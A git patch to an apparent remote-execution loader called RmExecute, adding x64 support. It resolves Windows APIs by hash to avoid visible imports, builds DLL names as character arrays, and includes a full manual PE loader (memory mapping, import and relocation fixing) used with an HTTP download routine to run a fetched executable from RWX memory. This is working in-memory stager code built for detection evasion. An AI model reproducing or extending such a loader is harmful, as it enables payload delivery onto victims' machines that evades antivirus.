From 4fa9dd09cb4ea5d3721a79f057adfd1c0cfe6bc6 Mon Sep 17 00:00:00 2001 From: bakabie Date: Fri, 9 Apr 2021 00:31:04 +0800 Subject: [PATCH] =?UTF-8?q?=E5=AE=8C=E6=88=90x64=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- RmExecute/Tool.h | 383 ++++++++++++++++++++++++----------------------- RmExecute/api.h | 54 +++++++ RmExecute/hash.h | 12 ++ 3 files changed, 261 insertions(+), 188 deletions(-) diff --git a/RmExecute/Tool.h b/RmExecute/Tool.h index 6a869a3..0e615d8 100644 --- a/RmExecute/Tool.h +++ b/RmExecute/Tool.h @@ -127,7 +127,19 @@ void RmExecute::Initfunctions(Pfunctions pfn) pfn->fnLoadLibraryA(szMsvcrt); char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 }; pfn->fnLoadLibraryA(szWinhttp); + pfn->fnReleaseActCtx = (pfnReleaseActCtx)GetProcAddressWithHash(HASH_ReleaseActCtx); + pfn->fnDeactivateActCtx = (pfnDeactivateActCtx)GetProcAddressWithHash(HASH_DeactivateActCtx); + pfn->fnActivateActCtx = (pfnActivateActCtx)GetProcAddressWithHash(HASH_ActivateActCtx); + pfn->fnGetProcAddress = (pfnGetProcAddress)GetProcAddressWithHash(HASH_GetProcAddress); + pfn->fnVirtualProtect = (pfnVirtualProtect)GetProcAddressWithHash(HASH_VirtualProtect); + pfn->fnGetModuleHandleA = (pfnGetModuleHandleA)GetProcAddressWithHash(HASH_GetModuleHandleA); + pfn->fnFindResourceA = (pfnFindResourceA)GetProcAddressWithHash(HASH_FindResourceA); + pfn->fnLoadResource = (pfnLoadResource)GetProcAddressWithHash(HASH_LoadResource); + pfn->fnCreateActCtxA = (pfnCreateActCtxA)GetProcAddressWithHash(HASH_CreateActCtxA); + + pfn->fnLockResource = (pfnLockResource)GetProcAddressWithHash(HASH_LockResource); + pfn->fnSizeofResource = (pfnSizeofResource)GetProcAddressWithHash(HASH_SizeofResource); pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA); pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA); pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext); @@ -171,188 +183,7 @@ void RmExecute::Initfunctions(Pfunctions pfn) } -VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header) -{ - PIMAGE_THUNK_DATA thunk; - PIMAGE_THUNK_DATA fixup; - DWORD iat_rva; - SIZE_T iat_size; - HMODULE import_base; - PIMAGE_IMPORT_DESCRIPTOR import_table = - (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + - (UINT_PTR)dos_header); - DWORD iat_loc = - (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? - IMAGE_DIRECTORY_ENTRY_IAT : - IMAGE_DIRECTORY_ENTRY_IMPORT; - - iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress; - iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size; - - LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header); - DWORD op; - VirtualProtect(iat, iat_size, PAGE_READWRITE, &op); - __try { - while (import_table->Name) { - import_base = LoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header)); - fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); - if (import_table->OriginalFirstThunk) { - thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header); - } - else { - thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); - } - - while (thunk->u1.Function) { - PCHAR func_name; - if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { - fixup->u1.Function = - (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF)); - - } - else { - func_name = - (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header); - fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name); - } - fixup++; - thunk++; - } - import_table++; - } - } - __except (1) { - - } - return; -} - -//works with manually mapped files -HANDLE GetImageActCtx(HMODULE module) -{ - WCHAR temp_path[MAX_PATH]; - WCHAR temp_filename[MAX_PATH]; - for (int i = 1; i <= 3; i++) { - HRSRC resource_info = FindResource(module, MAKEINTRESOURCE(i), RT_MANIFEST); - if (resource_info) { - HGLOBAL resource = LoadResource(module, resource_info); - DWORD resource_size = SizeofResource(module, resource_info); - const PBYTE resource_data = (const PBYTE)LockResource(resource); - /*if (resource_data && resource_size) { - FILE* fp; - errno_t err; - DWORD ret_val = GetTempPath(MAX_PATH, temp_path); - - if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename)) - return NULL; - - err = _wfopen_s(&fp, temp_filename, L"w"); - - if (errno) - return NULL; - - fprintf(fp, (const char*)resource_data); - fclose(fp); - break; - } - else { - return NULL; - }*/ - } - } - - ACTCTXW act = { sizeof(act) }; - act.lpSource = temp_filename; - return CreateActCtx(&act); -} - -//if base_addr points to a byte stream in memory then load module from that -//if base_addr is NULL then attempt to map module into memory from resource -//***note if module is memory mapped manually then it has no loaded module handle -//and some modules use the module base as the handle for a call and it will fail -LPVOID MapImageToMemory(LPVOID base_addr) -{ - LPVOID mem_image_base = NULL; - __try { - - PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr; - - HMODULE proc_base = GetModuleHandle(NULL); - - - if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic) - return NULL; - - PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base); - if (IMAGE_NT_SIGNATURE != nt_header->Signature) - return NULL; - - //only 64bit modules will be loaded - if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine) - return NULL; - - //Not going to bother with .net - if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress) - return NULL; - - PIMAGE_SECTION_HEADER section_header = - (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base); - - mem_image_base = VirtualAlloc( - (LPVOID)(nt_header->OptionalHeader.ImageBase), - nt_header->OptionalHeader.SizeOfImage, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE); - - if (NULL == mem_image_base) { - mem_image_base = VirtualAlloc( - NULL, - nt_header->OptionalHeader.SizeOfImage, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE); - } - - if (NULL == mem_image_base) - return NULL; - - memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders); - - for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) { - memcpy( - (LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), - (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), - section_header->SizeOfRawData); - section_header++; - } - } - __except (1) { - - } - return mem_image_base; -} - -BOOL FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta) -{ - ULONG_PTR size; - PULONG_PTR intruction; - PIMAGE_BASE_RELOCATION reloc_block = - (PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + - (UINT_PTR)dos_header); - - while (reloc_block->VirtualAddress) { - size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD); - PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block)); - for (int i = 0; i < size; i++, fixup++) { - if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) { - intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff)); - *intruction += delta; - } - } - reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block); - } - return TRUE; -} // 用完一定要free int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) { @@ -494,10 +325,186 @@ int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,B #ifdef _WIN64 -typedef IMAGE_NT_HEADERS64 IMAGE_NT_HEADERS; -typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS; -typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER; -typedef PIMAGE_OPTIONAL_HEADER64 PIMAGE_OPTIONAL_HEADER; +VOID RmExecute::FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header) +{ + PIMAGE_THUNK_DATA thunk; + PIMAGE_THUNK_DATA fixup; + DWORD iat_rva; + SIZE_T iat_size; + HMODULE import_base; + PIMAGE_IMPORT_DESCRIPTOR import_table = + (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + + (UINT_PTR)dos_header); + + DWORD iat_loc = + (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? + IMAGE_DIRECTORY_ENTRY_IAT : + IMAGE_DIRECTORY_ENTRY_IMPORT; + + iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress; + iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size; + + LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header); + DWORD op; + fn.fnVirtualProtect(iat, iat_size, PAGE_READWRITE, &op); + __try { + while (import_table->Name) { + import_base = fn.fnLoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header)); + fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); + if (import_table->OriginalFirstThunk) { + thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header); + } + else { + thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); + } + + while (thunk->u1.Function) { + PCHAR func_name; + if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { + fixup->u1.Function = + (UINT_PTR)fn.fnGetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF)); + + } + else { + func_name = + (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header); + fixup->u1.Function = (UINT_PTR)fn.fnGetProcAddress(import_base, func_name); + } + fixup++; + thunk++; + } + import_table++; + } + } + __except (1) { + + } + return; +} + +//works with manually mapped files +HANDLE RmExecute::GetImageActCtx(HMODULE module) +{ + WCHAR temp_path[MAX_PATH]; + WCHAR temp_filename[MAX_PATH]; + for (int i = 1; i <= 3; i++) { + HRSRC resource_info = fn.fnFindResourceA(module, MAKEINTRESOURCE(i), RT_MANIFEST); + if (resource_info) { + HGLOBAL resource = fn.fnLoadResource(module, resource_info); + DWORD resource_size = fn.fnSizeofResource(module, resource_info); + const PBYTE resource_data = (const PBYTE)fn.fnLockResource(resource); + /*if (resource_data && resource_size) { + FILE* fp; + errno_t err; + DWORD ret_val = GetTempPath(MAX_PATH, temp_path); + + if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename)) + return NULL; + + err = _wfopen_s(&fp, temp_filename, L"w"); + + if (errno) + return NULL; + + fprintf(fp, (const char*)resource_data); + fclose(fp); + break; + } + else { + return NULL; + }*/ + } + } + + ACTCTXW act = { sizeof(act) }; + act.lpSource = temp_filename; + return fn.fnCreateActCtxA((PCACTCTXA)(&act)); +} + +//if base_addr points to a byte stream in memory then load module from that +//if base_addr is NULL then attempt to map module into memory from resource +//***note if module is memory mapped manually then it has no loaded module handle +//and some modules use the module base as the handle for a call and it will fail +LPVOID RmExecute::MapImageToMemory(LPVOID base_addr) +{ + LPVOID mem_image_base = NULL; + + + PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr; + + HMODULE proc_base = fn.fnGetModuleHandleA(NULL); + + + if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic) + return NULL; + + PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base); + if (IMAGE_NT_SIGNATURE != nt_header->Signature) + return NULL; + + //only 64bit modules will be loaded + if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine) + return NULL; + + //Not going to bother with .net + if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress) + return NULL; + + PIMAGE_SECTION_HEADER section_header = + (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base); + + mem_image_base = fn.fnVirtualAlloc( + (LPVOID)(nt_header->OptionalHeader.ImageBase), + nt_header->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + + if (NULL == mem_image_base) { + mem_image_base = fn.fnVirtualAlloc( + NULL, + nt_header->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + } + + if (NULL == mem_image_base) + return NULL; + + fn.fnmemcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders); + + for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) { + fn.fnmemcpy( + (LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), + (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), + section_header->SizeOfRawData); + section_header++; + } + + + return mem_image_base; +} + +BOOL RmExecute::FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta) +{ + ULONG_PTR size; + PULONG_PTR intruction; + PIMAGE_BASE_RELOCATION reloc_block = + (PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + + (UINT_PTR)dos_header); + + while (reloc_block->VirtualAddress) { + size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD); + PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block)); + for (int i = 0; i < size; i++, fixup++) { + if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) { + intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff)); + *intruction += delta; + } + } + reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block); + } + return TRUE; +} bool RmExecute::RunPortableExecutable() { PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)newbuff); @@ -514,7 +521,7 @@ bool RmExecute::RunPortableExecutable() { if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) { actctx = GetImageActCtx((HMODULE)image_base); if (actctx) - changed_ctx = ActivateActCtx(actctx, &cookie); + changed_ctx = fn.fnActivateActCtx(actctx, &cookie); } FixImageIAT(image_base, nt_header); @@ -532,8 +539,8 @@ bool RmExecute::RunPortableExecutable() { //CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)oep, NULL, 0, &tid); if (changed_ctx) { - DeactivateActCtx(0, cookie); - ReleaseActCtx(actctx); + fn.fnDeactivateActCtx(0, cookie); + fn.fnReleaseActCtx(actctx); } } #else diff --git a/RmExecute/api.h b/RmExecute/api.h index ffc0c5d..62de546 100644 --- a/RmExecute/api.h +++ b/RmExecute/api.h @@ -31,7 +31,50 @@ typedef struct _MY_LDR_DATA_TABLE_ENTRY //定义函数指针 // Kernel32 +typedef void (WINAPI* pfnReleaseActCtx)( + HANDLE hActCtx +); +typedef BOOL (WINAPI* pfnDeactivateActCtx)( + DWORD dwFlags, + ULONG_PTR ulCookie +); +typedef BOOL (WINAPI* pfnActivateActCtx)( + HANDLE hActCtx, + ULONG_PTR* lpCookie +); +typedef FARPROC (WINAPI* pfnGetProcAddress)( + HMODULE hModule, + LPCSTR lpProcName +); +typedef BOOL (WINAPI* pfnVirtualProtect)( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD lpflOldProtect +); +typedef HMODULE (WINAPI* pfnGetModuleHandleA)( + LPCSTR lpModuleName +); +typedef HANDLE (WINAPI* pfnCreateActCtxA)( + PCACTCTXA pActCtx +); +typedef LPVOID (WINAPI* pfnLockResource)( + HGLOBAL hResData +); +typedef DWORD (WINAPI* pfnSizeofResource)( + HMODULE hModule, + HRSRC hResInfo +); +typedef HRSRC(WINAPI* pfnFindResourceA)( + HMODULE hModule, + LPCSTR lpName, + LPCSTR lpType +); +typedef HGLOBAL(WINAPI* pfnLoadResource)( + HMODULE hModule, + HRSRC hResInfo +); typedef LPVOID (WINAPI* pfnVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, @@ -192,6 +235,17 @@ typedef BOOL (WINAPI* pfnWinHttpCloseHandle)( //函数指针结构体 typedef struct _FUNCTIONS { + pfnReleaseActCtx fnReleaseActCtx; + pfnDeactivateActCtx fnDeactivateActCtx; + pfnActivateActCtx fnActivateActCtx; + pfnGetProcAddress fnGetProcAddress; + pfnVirtualProtect fnVirtualProtect; + pfnGetModuleHandleA fnGetModuleHandleA; + pfnCreateActCtxA fnCreateActCtxA; + pfnLockResource fnLockResource; + pfnSizeofResource fnSizeofResource; + pfnFindResourceA fnFindResourceA; + pfnLoadResource fnLoadResource; pfnVirtualAlloc fnVirtualAlloc; pfnGetModuleFileNameA fnGetModuleFileNameA; pfnCreateProcessA fnCreateProcessA; diff --git a/RmExecute/hash.h b/RmExecute/hash.h index ba12959..3de79be 100644 --- a/RmExecute/hash.h +++ b/RmExecute/hash.h @@ -1,3 +1,15 @@ +#define HASH_ReleaseActCtx 0x7A558F15 +#define HASH_DeactivateActCtx 0x64151416 +#define HASH_ActivateActCtx 0xC3D0940A +#define HASH_GetProcAddress 0x7802F749 +#define HASH_VirtualProtect 0xC38AE110 +#define HASH_GetModuleHandleA 0xDAD5B06C +#define HASH_CreateActCtxA 0x4595146D +#define HASH_LockResource 0x0E8BE94B +#define HASH_SizeofResource 0x42F9102E +#define HASH_FindResourceA 0x6558F55E +#define HASH_LoadResource 0x8E8BB14A + #define HASH_VirtualAlloc 0xE553A458 #define HASH_GetModuleFileNameA 0xFE61445D #define HASH_LoadLibraryA 0x0726774C